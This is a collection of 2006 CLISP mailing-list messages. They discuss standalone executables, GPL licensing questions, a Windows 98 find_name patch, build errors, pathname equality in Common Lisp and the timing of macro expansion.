of 'unpacking' that "application", just as there are tools and ways  
of unpacking .ZIP files on Windows.

So as a Mac OS X user, I am amused and saddened by this drive to have  
everything "in one file", esp. since there doesn't seem to be a  
Windows equivalent of "an application as folder presented as single  
entity". The saddest part of it is the complexity that has been put  
into "clisp" to make this abomination of one file (.EXE) happen. (And  
note: this is a completely orthogonal issue to the issue of "who gets  
the command-line 'first'".)

Perhaps someone(s) more familiar with Windows can point to a solution  
that doesn't involve all the yuckyness that Sam (& co) have been  
putting in, but I fear not...

		--D'gou



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Douglas Philips wrote: 

> Perhaps someone(s) more familiar with Windows can point to a 
> solution  
> that doesn't involve all the yuckyness that Sam (& co) have been  
> putting in, but I fear not...

there is no yuckyness involved in having one executable, now CLISP has just
measured up with GCC, which can create one executable file for all platforms
(even on Mac) since the beginning. Lisp is a bit different and I like the
image concept for developing, but this doesn't mean that delivering needs to
be more complicated than with every other GCC program.

Of course, adding the image to the end of the file is not the best solution.
For Windows it would be better to use the capabilities of the EXE file
format and include it as resources, but until someone wants to write this
(and wants to mess with the differences on Linux and Mac for the ELF
format), I can live with this solution.

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On 2006 Jan 26, at 11:26 PM, Frank Buss indited:
> Douglas Philips wrote:
>> Perhaps someone(s) more familiar with Windows can point to a
>> solution
>> that doesn't involve all the yuckyness that Sam (& co) have been
>> putting in, but I fear not...
>
...

> Of course, adding the image to the end of the file is not the best  
> solution.
> For Windows it would be better to use the capabilities of the EXE file
> format and include it as resources, but until someone wants to  
> write this
> (and wants to mess with the differences on Linux and Mac for the ELF
> format), I can live with this solution.

Right. The real problem isn't that Lisp isn't like GCC, the real  
problem is that "a solution to a problem" isn't just one blob of  
executable code anymore. It wasn't back in the day of the OLD Mac  
OS's either, which probably had "resource forks" as early as or even  
earlier than Windows. So catching up to having "resources" now is  
chasing an faded shadow. And it still gets stuck in that little box  
of "one file", but oh wait, we'll put a dumb simple "resource"  
mechanism (i.e. dumb simple file system) inside the file.

The whole mess of grunging around inside the executable image is a  
mess, I've seen (and averted my eyes from) the CVS changes that have  
been going in. It isn't that they are bad code, it is that the  
solution itself is bad. Maybe it is the best that can be done with  
Windows, but it is still ugly. And it isn't completely orthogonal to  
the command line issue after all, because if you could deliver a  
bundle of real files as "a solution", then there wouldn't be all this  
hand wringing about "oh, but a separate script that fixes the command  
line is bad because it isn't one file anymore" would truly be a non- 
issue.

But hey, I've beat this sad horse enough. I'm just glad I don't have  
to use CLISP on Windows. :-)

			--D'gou



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Sam Steingold <sds@gnu.org> writes:

> Nevertheless, I believe it is important that someone who receives a
> clisp-based application can get a clisp repl by merely typing
> $ app -x '(saveinitmem)'
> $ app -M lispinit.mem
> or just
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> $ ./clisp

IMHO it is up to the application author to decide whether to provide repl to
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Sam Steingold writes:
> > * Klaus Weidner <xj@j-z-c.pbz> [2006-01-26 11:43:47 -0600]:
> >
> > :argument-handler :standalone
> >
> > 	All arguments, including flags starting with '-', are placed into
> > 	the EXT:*ARGS* variable. This allows standalone executables to
> > 	fully handle all argument processing. The application is
> > 	responsible for handling any flag arguments normally handled
> > 	by the CLISP runtime if that functionality is required.
> 
> this will disable -M and -x.
> I understand that someone might want to re-implement "ls" with clisp and
> this will prevent him.
> 
> Nevertheless, I believe it is important that someone who receives a
> clisp-based application can get a clisp repl by merely typing
> $ app -x '(saveinitmem)'
> $ app -M lispinit.mem
> or just
> $ app -x '(saveinitmem "clisp" :executable t)'
> $ ./clisp

Couldn't this be archived with an environment variable?

$ app -x
I am app and I print 'X'.
$ CLISP_ARGUMENTS="-x '(progn (princ (lisp-implementation-version)) (ext:quit 0))'" app -x
2.38 (2006-01-24) (built 3347193361) (memory 3347193797)
$ CLISP_ARGUMENTS="-x ' (princ (lisp-implementation-version))'" app -x
2.38 (2006-01-24) (built 3347193361) (memory 3347193797)
I am app and I print 'X'.
$ 

-- 
__Pascal Bourguignon__                     http://www.informatimago.com/

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Sam Steingold writes:
> > * Steven E.Harris <fru@cnavk.pbz> [2006-01-26 13:55:13 -0800]:
> >
> > Sam Steingold <sds@gnu.org> writes:
> >
> >> Nevertheless, I believe it is important that someone who receives a
> >> clisp-based application can get a clisp repl by merely typing
> >
> > I would expect it to be the prerogative of the author to make the
> > implementation decision to use CLISP or some other system, and that
> > decision here is not meant to be the business of the end-user. Why
> > must every application created with CLISP also /be/ CLISP?
> 
> because the what you are distributing (e.g., clisp executable image)
> does include full clisp (compiler, debugger &c) and I see no reason to
> prevent the user from easily accessing it.
> 
> if you want full control over your application's options, you can use a
> script.

I was thinking of legal considerations. 

IIUC, the GPL implies that a user must be able to extract the image,
and to compile a patched version of clisp (eg. with added modules),
and to save a new executable with the extracted image and the patched
clisp.  Similarly, he should be able to patch any clisp lisp function
(ie. needs a REPL in the saved image).  All this even without
considering the license of the application in this image.


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Date: Fri Jan 27 10:51:01 2006
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Pascal Bourguignon wrote: 

> IIUC, the GPL implies that a user must be able to extract the image,
> and to compile a patched version of clisp (eg. with added modules),
> and to save a new executable with the extracted image and the patched
> clisp.  Similarly, he should be able to patch any clisp lisp function
> (ie. needs a REPL in the saved image).  All this even without
> considering the license of the application in this image.

which sentence of the GPL says this? Perhaps I'm wrong, but I think it is
sufficient e.g. when you have a webpage where you can download the
standlone-exe and on the same page the source is available for download and
a link to the GPL text itself.

BTW: A.1.1.2. of the FAQ says "why GNU GPL?" -> Because CLISP uses GNU
readline (http://clisp.cons.org/impnotes/faq.html#faq-gpl)

Then I have some questions:

- does this mean when I compile CLISP without the GNU readline library that
it is not GPL? Which licence is it then?

- http://cvs.sourceforge.net/viewcvs.py/*checkout*/clisp/clisp/COPYRIGHT
says, that the source code needs not to be licenced under GPL, if it uses
only things in the COMMON-LISP, COMMON-LISP-USER, KEYWORD, CLOS, GRAY and
EXT packages, but foreign non-Lisp code that is linked with CLISP or loaded
into CLISP through dynamic linking is not exempted from this copyright. Is
the image-linking considered as "foreign non-Lisp code that is linked with
CLISP"?

- when I'm using the CFFI library, which uses the FFI package, needs my
source code to be licenced as GPL? CFFI has a BSD-like licence (do whatever
you want with the source, as long as you credit the authors), so it is fine
to release CFFI with a GPL program, but when my user program uses only the
BSD CFFI and nothing from the CLISP FFI package, is my program still
"infected" by the GPL licence?

The reasons for my questions are that I plan to sell software written in
Lisp and some customers may want to disclosure the source code. There would
be no problem, if CLISP would be released under 2 licences (which is
possible, see e.g. MySQL): BSD for a version compiled without GNU readline
and GNU GPL for a version with GNU readline.

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Date: Fri Jan 27 17:55:20 2006
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find_name doesn't work on Windows 98 when searching all modules of the
current process. I've implemented a patch, see below for the whole section
in spvw.d.

Another idea: perhaps the function address should be cached with a
hashtable, because the time needed to retrieve the pointer increases with
the number of loaded libraries with the current concept, but would be nearly
constant (and maybe faster) with a hashtable.

#if defined(WIN32_NATIVE)

/* declare non-unicode struct and function from tlhelp32.h */
#define MAX_MODULE_NAME32	255
#define TH32CS_SNAPMODULE	0x8
typedef struct tagMODULEENTRY32 {
	DWORD dwSize;
	DWORD th32ModuleID;
	DWORD th32ProcessID;
	DWORD GlblcntUsage;
	DWORD ProccntUsage;
	BYTE *modBaseAddr;
	DWORD modBaseSize;
	HMODULE hModule;
	char szModule[MAX_MODULE_NAME32 + 1];
	char szExePath[MAX_PATH];
} MODULEENTRY32,*PMODULEENTRY32,*LPMODULEENTRY32;
HANDLE WINAPI CreateToolhelp32Snapshot(DWORD,DWORD);
BOOL WINAPI Module32First(HANDLE,LPMODULEENTRY32);
BOOL WINAPI Module32Next(HANDLE,LPMODULEENTRY32);

/* #include <psapi.h> */
/* support older woe32 incarnations:
   fEnumProcessModules is 1 until the first call,
   it is NULL if this woe32 does not have EnumProcessModules(),
   and it points to EnumProcessModules() when it is present */
typedef BOOL (WINAPI * EnumProcessModules_t)
  (HANDLE hProcess,HMODULE* lphModule,DWORD cb,LPDWORD lpcbNeeded);
static EnumProcessModules_t fEnumProcessModules = (EnumProcessModules_t)1;
#endif

/* find the name in the dynamic library handle
 calls dlsym() or GetProcAddress()
 handle is an object returned by libopen()
        or NULL, which means emulate RTLD_DEFAULT on UNIX_FREEBSD
        and WIN32_NATIVE by searching through all libraries
 name is the name of the function (or variable) in the library */
global void* find_name (void *handle, const char *name)
{
  var void *ret = NULL;
 #if defined(UNIX_FREEBSD) && !defined(RTLD_DEFAULT)
  /* FreeBSD 4.0 doesn't support RTLD_DEFAULT, so we simulate it by
     searching the executable and the libc. */
  if (handle == NULL) {
    /* Search the executable. */
    ret = dlsym(NULL,name);
    if (ret == NULL) {
      /* Search the libc. */
      if (libc_handle == NULL)
        libc_handle = dlopen("libc.so",RTLD_LAZY);
      if (libc_handle != NULL)
        ret = dlsym(libc_handle,name);
    }
  } else
    ret = dlsym(handle,name);
 #elif defined(WIN32_NATIVE)
  if (handle == NULL) { /* RTLD_DEFAULT -- search all modules */
    HANDLE cur_proc;
    HMODULE *modules;
    DWORD needed, i;
    if ((EnumProcessModules_t)1 == fEnumProcessModules) {
      /* first call: try to load EnumProcessModules */
      HMODULE psapi = LoadLibrary("psapi.dll");
      if (psapi == NULL) fEnumProcessModules = NULL;
      else fEnumProcessModules =
        (EnumProcessModules_t)GetProcAddress(psapi,"EnumProcessModules");
    }
    if (NULL != fEnumProcessModules) {
      cur_proc = GetCurrentProcess();
      if (!fEnumProcessModules(cur_proc,NULL,0,&needed)) OS_error();
      modules = (HMODULE*)alloca(needed);
      if (!fEnumProcessModules(cur_proc,modules,needed,&needed)) OS_error();
      for (i=0; i < needed/sizeof(HMODULE); i++)
        if ((ret = (void*)GetProcAddress(modules[i],name)))
          break;
    } else {
      /* EnumProcessModules not available, maybe we are on Windows 98 */
      HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0);
      if (hSnapshot != INVALID_HANDLE_VALUE) {
        MODULEENTRY32 moduleEntry;
        moduleEntry.dwSize = sizeof(MODULEENTRY32);
        if (Module32First(hSnapshot, &moduleEntry)) {
          while (1) {
            ret = (void*)GetProcAddress(moduleEntry.hModule, name);
            if (ret) break;
            if (!Module32Next(hSnapshot, &moduleEntry)) break;
          }
        }
        CloseHandle(hSnapshot);
      }
    }
  } else ret = (void*)GetProcAddress((HMODULE)handle,name);
 #else
  ret = dlsym(handle,name);
 #endif
  return ret;
}

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Pascal Bourguignon <pjb@informatimago.com> writes:

> IIUC, the GPL implies that a user must be able to extract the image,
> and to compile a patched version of clisp (eg. with added modules),
> and to save a new executable with the extracted image and the patched
> clisp.

IMHO GPL requires only the source availability, so pointers to the source of
the clisp and the application (giving the user the possibility to create the
image himself) should be sufficient (and they are required anyway).

> Similarly, he should be able to patch any clisp lisp function
> (ie. needs a REPL in the saved image).

Having the source gives user the possibility to enable repl even if
application author/maintainer hided it.

> All this even without considering the license of the application in this
> image.

Relationship between clisp and clisp-based application seems to be close
enough to propagate GPL to the app.

-- 
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"Frank Buss" <fb@frank-buss.de> writes:

> Is the image-linking considered as "foreign non-Lisp code that is linked
> with CLISP"?

It's probably not, but it seems that ability to create standalone executables
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Roman Belenov writes:
> Pascal Bourguignon <pjb@informatimago.com> writes:
> 
> > IIUC, the GPL implies that a user must be able to extract the image,
> > and to compile a patched version of clisp (eg. with added modules),
> > and to save a new executable with the extracted image and the patched
> > clisp.
> 
> IMHO GPL requires only the source availability, so pointers to the source of
> the clisp and the application (giving the user the possibility to create the
> image himself) should be sufficient (and they are required anyway).
> 
> > Similarly, he should be able to patch any clisp lisp function
> > (ie. needs a REPL in the saved image).
> 
> Having the source gives user the possibility to enable repl even if
> application author/maintainer hided it.

Indeed, the sources of clisp, the .fas of the application and a script
to build the image anew.  Then the user can modify it to generate a
version of the image with REPL.

 
> > All this even without considering the license of the application in this
> > image.
> 
> Relationship between clisp and clisp-based application seems to be close
> enough to propagate GPL to the app.

Not necessarily.


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Hello,

First I am french (nobody is perfect),

I am a software developer at Texas Instruments since 25 years

I work in a R&D writing internal tools helping the simulation and
investiguation of new integrated circuit architecture

After "Fortran", "Pascal" , "C",  I went finally to functional
programming in the 90's with various kind of "scheme"
 
In 2000, 2001 I have developped a tool in "OZ" that is
a facinating language and environment
If you do not know anything about it,  you must take a look
The 2 robots actually on planet Mars have been programmed
partly in "OZ"

Starting last years, I have decided to switch to "Common Lisp"

I do beleive that it is the ideal language for fast prototyping,
and  R&D "what if" experiments of new concepts

CLIPS is great because it covers reliably the wide spectrum of
the ANSI  specification

To tell the truth, the environment around me is rather hostile
regarding LISP

It is a priviledge of my  25 years of service to have the
right to use LISP for my work if  I judge it necessary

Week after week, I am trying to convince people around
me of  its remarkable effiiciency
Some of them  have already done the switch

Regards,
     Jacques











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2006/1/31, Jacques Mequin <j-mequin@ti.com>:
> First I am french (nobody is perfect),
>
> I am a software developer at Texas Instruments since 25 years
>
> I work in a R&D writing internal tools helping the simulation and
> investiguation of new integrated circuit architecture
>
> After "Fortran", "Pascal" , "C",  I went finally to functional
> programming in the 90's with various kind of "scheme"
>
> In 2000, 2001 I have developped a tool in "OZ" that is
> a facinating language and environment
> If you do not know anything about it,  you must take a look
> The 2 robots actually on planet Mars have been programmed
> partly in "OZ"
>
> Starting last years, I have decided to switch to "Common Lisp"
>
> I do beleive that it is the ideal language for fast prototyping,
> and  R&D "what if" experiments of new concepts
>
> CLIPS is great because it covers reliably the wide spectrum of
> the ANSI  specification

CLIPS or clisp???
These are different beasts. I believe Texas Instruments uses both.
I believe you meant clisp.

> To tell the truth, the environment around me is rather hostile
> regarding LISP
>
> It is a priviledge of my  25 years of service to have the
> right to use LISP for my work if  I judge it necessary
>
> Week after week, I am trying to convince people around
> me of  its remarkable effiiciency
> Some of them  have already done the switch
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Hi,

I have installed clisp 2.37 under Windows. I've been looking for extensions
that would allow me to use midi sound, but I haven't been able to find clear
information. Is it possible to access the sound card's midi synthesis under
windows from clisp? How should I go about it?

I've found stuff about midishae and portmidi but I'm not clear if those
things can do syntehsis on the sound card or only send midi commands through
a midi port.

Help would be appreciated,
--David.



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Date: Tue Jan 31 10:11:05 2006
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I created this function using recursion:

(defun sigma-sum (lower upper step)
  "Sum numbers from lower to upper 
incrementing the lower by step"
  (cond ( (> lower upper) 0)
 (t (+ lower 
       (sigma-sum 
        (+ step lower) 
        upper step)))))
 
it works fine, but I am trying to create a function that can be used for any
problem expressed in sigma notation. Here is that attempt:
(defun sigma (opr lower upper step)
  "Operate on numbers using process defined
by sigma notation."
  (cond ( (> lower upper) 0)
 (t ((apply opr lower 
        (sigma 
         (apply opr step lower) 
         upper step))))))

and here is how I call the function:
(sigma '+ 1 4 1)
 
but it does not work. Any advice?
 
 




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david writes:
> I created this function using recursion:
> 
> (defun sigma-sum (lower upper step)
>   "Sum numbers from lower to upper 
> incrementing the lower by step"
>   (cond ( (> lower upper) 0)
>  (t (+ lower 
>        (sigma-sum 
>         (+ step lower) 
>         upper step)))))
>  
> it works fine, but I am trying to create a function that can be used for any
> problem expressed in sigma notation. Here is that attempt:
> (defun sigma (opr lower upper step)
>   "Operate on numbers using process defined
> by sigma notation."
>   (cond ( (> lower upper) 0)
>  (t ((apply opr lower 
>         (sigma 
>          (apply opr step lower) 
>          upper step))))))
> 
> and here is how I call the function:
> (sigma '+ 1 4 1)
>  
> but it does not work. Any advice?

What is the meaning of this form?

((apply opr lower 
         (sigma 
          (apply opr step lower) 
          upper step)))

This is not valid Common Lisp syntax.

The CAR of a form can only be either:

- a symbol denoting the function, the macro or the special operator
  named by this symbol, or:

- a list of the form (lambda arguments . body), denoting the
  corresponding anonymous function.


nothing else.



Your intended definition of sigma is wrong.  
Try it with (function *) and step = 1.0.


-- 
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Yaroslav Kavenchuk <kavenchuk <at> jenty.by> writes:

> 
> Jeff wrote:
> > I am trying to build clisp 2.38 to include oracle. In the msys window
> > where I 
> > have started the compile I have set ORACLE_HOME as: 
> > 
> > ORACLE_HOME=/c/oracle/ora90
> > 
> > I am compiling with this command:
> > 
> > ./configure --without-readline --with-dynamic-ffi --with-dynamic-modules
> > --with-
> > module=syscalls --with-module=wildcard --with-module=regexp --with-
> > module=oracle
> > --with-libsigsegv-prefix=/clisp/clisp-2.38/tools/i686-pc-mingw32 -
> > -with-mingw --build oralisp > stdout.out 2> stderr.err
> 
> --with-dynamic-modules with mingw (or all win32?) is not work (IMHO)
> 


Ok, the build succeeded, but the install is failing with this error in windows:

The instruction at "0x0049506e" referenced memory at "0x00000004". The memory 
could not be "read".

and in the MinGW window:

lisp.exe -B . -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -m 1400KW -x "(and 
(load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)"
make: *** [interpreted.mem] Error 5

running this command

./configure --without-readline \
            --with-dynamic-ffi \
            --with-module=syscalls \
            --with-module=wildcard \
            --with-module=regexp \
            --with-module=oracle \
            --with-libsigsegv-prefix=/clisp/clisp-2.38/tools/i686-pc-mingw32 \
            --with-mingw \
            --install oralisp

Thanks,
Jeff




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Jeff wrote:

> Ok, the build succeeded, but the install is failing with this error in
> windows:
> 
> The instruction at "0x0049506e" referenced memory at "0x00000004". The
> memory 
> could not be "read".
> 
> and in the MinGW window:
> 
> lisp.exe -B . -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -m 1400KW
> -x "(and 
> (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)"
> make: *** [interpreted.mem] Error 5
> 
> running this command
> 
> ./configure --without-readline \
>             --with-dynamic-ffi \
>             --with-module=syscalls \
>             --with-module=wildcard \
>             --with-module=regexp \
>             --with-module=oracle \
>  
> --with-libsigsegv-prefix=/clisp/clisp-2.38/tools/i686-pc-mingw32 \
>             --with-mingw \
>             --install oralisp

Try to remove base modules form command line:

./configure --without-readline \
            --with-module=wildcard \
            --with-module=oracle \

--with-libsigsegv-prefix=/clisp/clisp-2.38/tools/i686-pc-mingw32 \
            --with-mingw \
            --install oralisp

-- 
WBR, Yaroslav Kavenchuik.


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Hello,

what is the concept of equality of pathnames in clisp like?

I got bitten by something like this:
zellerin@swamp ~]$ clisp -K base -q -norc
[1]> (equal #P"/media/cdrecorder/" (print (truename #P"/media/cdrecorder/")=
))

#P"/media/cdrecorder/"
NIL

CLHS sais in section on equal that
<quote>
Two pathnames are equal if and only if all the corresponding
components (host, device, and so on) are equivalent. Whether or not
uppercase and lowercase letters are considered equivalent in strings
appearing in components is implementation-dependent. pathnames that
are equal should be functionally equivalent.
</quote>

and also uses term of ``functionally equivalent''  below and states "A
rough rule of thumb is that two objects are equal if and only if their
printed representations are the same".

Do I miss something or is clisp not conforming in this respect? I
tried to check source and it appeared to pass pathnames to eq(l), but
I may have misread it. I also looked to impnotes, but did not find
anything relevant.

Regards,

Tomas

[zellerin@swamp ~]$ clisp --version
GNU CLISP 2.38 (2006-01-24) (built 3347203827) (memory 3347204100)
Software: GNU C 4.0.0 20050519 (Red Hat 4.0.0-8)
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
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libreadline 5.0
Features:
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S
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C Modules: (clisp i18n syscalls regexp readline)
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Hi,

am I the only user with a MS-VC6 installation & interest in CLISP?

I'd like to know, because it may very well happen that MS-VC support =
gets rapidly dropped, visible in the unability to build the FFI (esp. =
ffcall) with MS-VC and afterwards possibly nobody caring for MS-VC =
patches in the main trunk of CLISP...
That's pure theory. I'm not the maintainer.

Reasons:
o Since MS-VC7, the change in the MS license prohibits redistribution =
of files needed to comply with GPL, I've heard (from what I understood, =
the startup code/dll is at cause).  Cf. clisp/win32msvc/INSTALL
MS-VC6 is not affected.  The copyright was different.  The library is =
different.
Who has MS-VC6?
Who has MS-VC7 and uses it to buid a personal, non redistributable =
clisp, and an interest in continued ability to do so?

o All GNU efforts on MS-Windows head at -mingw, gcc infrastructure etc. =
 That's what ffcall supports.  GNU is where ffcall feels at home :)

I'm no lawyer, and all the above is my paraphrasing.

Why am I asking anyway?  I'm going to make changes to the FFI to =
restore/install support for LONG LONG types.  MS-VC has __int64 instead =
of long long.  ffcall does not support that, and I'm not going to add =
that myself.  Independently, the FFI needs some changes in that area =
and I'd like to know whether to invest time to find out how to still =
make things work with MS-VC, or drop it RSN (which would cost me *much =
less time* -- in fact, code is there on HD, but lacking smoe testing).

Regards,
	J=F6rg H=F6hle.


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On Feb 1, 2006, at 3:02 AM, Tomas Zellerin wrote:

> Hello,
>
> what is the concept of equality of pathnames in clisp like?
>
> I got bitten by something like this:
> zellerin@swamp ~]$ clisp -K base -q -norc
> [1]> (equal #P"/media/cdrecorder/" (print (truename 
> #P"/media/cdrecorder/")))
>
> #P"/media/cdrecorder/"
> NIL
>
> CLHS sais in section on equal that
> <quote>
> Two pathnames are equal if and only if all the corresponding
> components (host, device, and so on) are equivalent. Whether or not
> uppercase and lowercase letters are considered equivalent in strings
> appearing in components is implementation-dependent. pathnames that
> are equal should be functionally equivalent.
> </quote>
>
> and also uses term of ``functionally equivalent''  below and states "A
> rough rule of thumb is that two objects are equal if and only if their
> printed representations are the same".
>
> Do I miss something or is clisp not conforming in this respect? I
> tried to check source and it appeared to pass pathnames to eq(l), but
> I may have misread it. I also looked to impnotes, but did not find
> anything relevant.

You missed the following

(type-of #P"/Am/I/a/pathname?")  ==> PATHNAME ; or something like that.

(type-of (print (truename #P"/Am/I/a/pathname?"))) ==> STRING

A string is never EQ, EQL, EQUAL, EQUALP to a pathname

Cheers
--
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Frank Bu? wrote:

>Another idea: perhaps the function address should be cached with a
>hashtable, [...] would be nearly
>constant (and maybe faster) with a hashtable.

Huh?  A hashtable still must be filled?
A gain would only be seen by developers reloading the same def-call-out containing lisp files again and again.  Not the typical user.

Did you think of something else?

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Jorg Hohle wrote: 

> Huh?  A hashtable still must be filled?
> A gain would only be seen by developers reloading the same 
> def-call-out containing lisp files again and again.  Not the 
> typical user.

While fixing the bug I used some printfs in the code and it looked like the
search function was called for every call, but I'm not sure, maybe it is
called only once at load time.

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On 01/02/06, Marco Antoniotti <marcoxa@cs.nyu.edu> wrote:
>
> On Feb 1, 2006, at 3:02 AM, Tomas Zellerin wrote:
>
> > Hello,
> >
> > what is the concept of equality of pathnames in clisp like?
> >
> > I got bitten by something like this:
> > zellerin@swamp ~]$ clisp -K base -q -norc
> > [1]> (equal #P"/media/cdrecorder/" (print (truename
> > #P"/media/cdrecorder/")))
> >
> > #P"/media/cdrecorder/"
> > NIL
> >
> > (...)
> > Do I miss something or is clisp not conforming in this respect? I
> > tried to check source and it appeared to pass pathnames to eq(l), but
> > I may have misread it. I also looked to impnotes, but did not find
> > anything relevant.
>
> You missed the following
>
> (type-of #P"/Am/I/a/pathname?")  =3D=3D> PATHNAME ; or something like tha=
t.
>
> (type-of (print (truename #P"/Am/I/a/pathname?"))) =3D=3D> STRING
>

I don't think so, and neither appears to do clisp (did you try the
expression?), nor CLHS:

truename filespec =3D> truename

Arguments and Values:
filespec---a pathname designator.
truename---a physical pathname.

print object &optional output-stream =3D> object

Anyway, the truename was used above only as an example;
merge-pathnames works as well:
[18]> (equal (print (merge-pathnames #P"foo" #P"\\bar\\")) (print #P"\\bar\=
\foo"
))

#P"\\bar\\foo"
#P"\\bar\\foo"
NIL
(on a Windows machine)

Just for curiosity,
[21]> (equal #P"/foo/bar" #P"/foo/bar")
T
[22]> (eql #P"/foo/bar" #P"/foo/bar")
NIL
[23]> (eq #P"/foo/bar" #P"/foo/bar")
NIL

Tomas


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Frank Buss wrote:
>While fixing the bug I used some printfs in the code and it 
>looked like the
>search function was called for every call, but I'm not sure, 
>maybe it is called only once at load time.

You're using CFFI, right?  You're using interpreted files, presumably?

CFFI uses LOAD-TIME-VALUE extensively.  Unless you use compiled code, the interpreter will treat LOAD-TIME-VALUE like IDENTITY: no memoization, re-evaluated every time.
See cffi-clisp:%foreign-funcall

When compiled, load-time-value turns into something evaluated once, at load-time.
So indeed, there's a hidden cost when not using the compiler.  This can be a real & surprising slow-down, but who's going to complain about speed in the interpreter?
CLISP has always had a compiler.

If you observe anything else, please report it here.

Regards,
	Jorg Hohle.


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Date: Thu Feb  2 08:03:06 2006
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On 02/02/06, Stephen Compall <s11@member.fsf.org> wrote:
> On Thu, 2006-02-02 at 08:48 +0100, Tomas Zellerin wrote:
> > > > [1]> (equal #P"/media/cdrecorder/" (print (truename
> > > > #P"/media/cdrecorder/")))
> > > >
> > > > #P"/media/cdrecorder/"
>
> The TRUENAME has its version set to :NEWEST.  The literal path's version
> is NIL.  I'm not sure what the ANSI-friendliness of that modification
> is.

Thanks - that it is, most likely.

I am still a bit puzzled by this behaviour, and I would like to find
way how to not bother about pathname-version. I find it confusing to
see that #P"" creates pathames with nil, while merge-pathnames (as
well as truename) adds :newest, apparently whatever is version of
*default-pathname-defaults*.

Any practical hint?

Regards,

Tomas


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On Feb 2, 2006, at 2:48 AM, Tomas Zellerin wrote:

> On 01/02/06, Marco Antoniotti <marcoxa@cs.nyu.edu> wrote:
>>
>> On Feb 1, 2006, at 3:02 AM, Tomas Zellerin wrote:
>>
>>> Hello,
>>>
>>> what is the concept of equality of pathnames in clisp like?
>>>
>>> I got bitten by something like this:
>>> zellerin@swamp ~]$ clisp -K base -q -norc
>>> [1]> (equal #P"/media/cdrecorder/" (print (truename
>>> #P"/media/cdrecorder/")))
>>>
>>> #P"/media/cdrecorder/"
>>> NIL
>>>
>>> (...)
>>> Do I miss something or is clisp not conforming in this respect? I
>>> tried to check source and it appeared to pass pathnames to eq(l), but
>>> I may have misread it. I also looked to impnotes, but did not find
>>> anything relevant.
>>
>> You missed the following
>>
>> (type-of #P"/Am/I/a/pathname?")  ==> PATHNAME ; or something like 
>> that.
>>
>> (type-of (print (truename #P"/Am/I/a/pathname?"))) ==> STRING
>>
>
> I don't think so, and neither appears to do clisp (did you try the
> expression?), nor CLHS:
>
> truename filespec => truename
>
> Arguments and Values:
> filespec---a pathname designator.
> truename---a physical pathname.
>
> print object &optional output-stream => object

My bad.  I was thinking of NAMESTRING and my brain was shut down.  I 
think that the problem is what Stephen Compall pointed out.

In Lispworks


  1 > (truename (user-homedir-pathname))
#P"/Users/marcoxa/"

CL-USER 2 > (describe *)

#P"/Users/marcoxa/" is a PATHNAME
HOST           :UNSPECIFIC
DEVICE         :UNSPECIFIC
DIRECTORY      (:ABSOLUTE "Users" "marcoxa")
NAME           :UNSPECIFIC
TYPE           :UNSPECIFIC
VERSION        :UNSPECIFIC

CL-USER 3 > (describe (user-homedir-pathname))

#P"/Users/marcoxa/" is a PATHNAME
HOST           NIL
DEVICE         NIL
DIRECTORY      (:ABSOLUTE "Users" "marcoxa")
NAME           NIL
TYPE           NIL
VERSION        NIL

CL-USER 4 >



>
> Anyway, the truename was used above only as an example;
> merge-pathnames works as well:
> [18]> (equal (print (merge-pathnames #P"foo" #P"\\bar\\")) (print 
> #P"\\bar\\foo"
> ))
>
> #P"\\bar\\foo"
> #P"\\bar\\foo"
> NIL
> (on a Windows machine)
>
> Just for curiosity,
> [21]> (equal #P"/foo/bar" #P"/foo/bar")
> T
> [22]> (eql #P"/foo/bar" #P"/foo/bar")
> NIL
> [23]> (eq #P"/foo/bar" #P"/foo/bar")
> NIL

This is not surprising.  It is a consequence of the definition of EQ 
and EQL.

Cheers

--
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Clisp 2.35 (sorry, I haven't upgraded to something newer) says

(atanh -2) -> #c(-0.54930615 1.5707964)

But

(atanh #c(-2 1e-7)) -> #C(-0.54930615 -1.5707963)

The CLHS entry for atanh says atanh is continuous with Quadrant III
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Good day,

Can somebody explain which implementation give the correct result
running this code:

(defvar *a* 1)

(defmacro test-a () *a*)

(progv '(*a*) '(2)
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CMUCL/SBCL answers:

* (progv '(*a*) '(2) (test-a))
=> 1

CLISP 2.33.83:

[3]> (progv '(*a*) '(2) (test-a))
=> 2


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Vladimir Sekissov writes:
> Good day,
> 
> Can somebody explain which implementation give the correct result
> running this code:
> 
> (defvar *a* 1)
> 
> (defmacro test-a () *a*)
> 
> (progv '(*a*) '(2)
>   (test-a))
> 
> CMUCL/SBCL answers:
> 
> * (progv '(*a*) '(2) (test-a))
> => 1
> 
> CLISP 2.33.83:
> 
> [3]> (progv '(*a*) '(2) (test-a))
> => 2

In clisp 2.38:

[10]> (progv '(*a*) '(2) (test-a))
2
[11]> (defun f () (progv '(*a*) '(2) (test-a)))
F
[12]> (f)
1
[13]> 


Actually, I'm surprized that in an interpreted function we get 1,
because (fdefinition 'f) shows the unexpanded code.  But it behaves as
in the case of compiled function: the macros are expanded, _before_
the execution, that is, before *a* is rebound by progv.


[19]> (defmacro test-a () (print 'test-a) *a*)

TEST-A
[20]> (defun f () (progv '(*a*) '(2) (print 'prov) (test-a)))

TEST-A 
F
[21]> (f)

PROV 
1
[22]> (progv '(*a*) '(2) (print 'prov) (test-a))

PROV 
TEST-A 
2
[23]> (compile 'f)

TEST-A 
F ;
NIL ;
NIL
[24]> (f)

PROV 
1
[25]> 


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Hi, Joerg,
I prefer MSVC version because:

1. MSVC6 is the tool for the main project at my job. So I know what to
expect from it. CYGWIN consists of many libraries and often I spend
too much time to CYGWIN itself, to configure it and install newest
libraries etc.
2. I can use nice debugger which I familiar with to develop CLISP.
Really, it is very convenient.
3. When I started to use CLISP, I planned to make windows native
interface with MSVC to my lisp projects. Now I believe it is too
complex task. But still, MSVC is closer to windows internals, it migh
be imporant for windows-only project.

I believe, as a multi - platform project, CLISP shouldn't
drop MSVS support.

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>Can somebody explain which implementation give the correct result
>running this code:
It is my understanding that both behaviours are acknowledged by the Common Lisp standard.

>(defmacro test-a () *a*)
Here you manage to write an unportable program, because the environment of the test-a macros varies between calls/uses and Common Lisp allows some latitude about what time macros are expanded.
It may be as early as DEFUN time.  It may be as late as the canonic recursive EVAL-based interpreter.  It may even vary in a single implementation, between interpreter and compiler (if I'm not mistaken).

Do you have a particular problem to solve or are you investigating the meaning of some paragraphs of the CLHS and details of CL semantics?
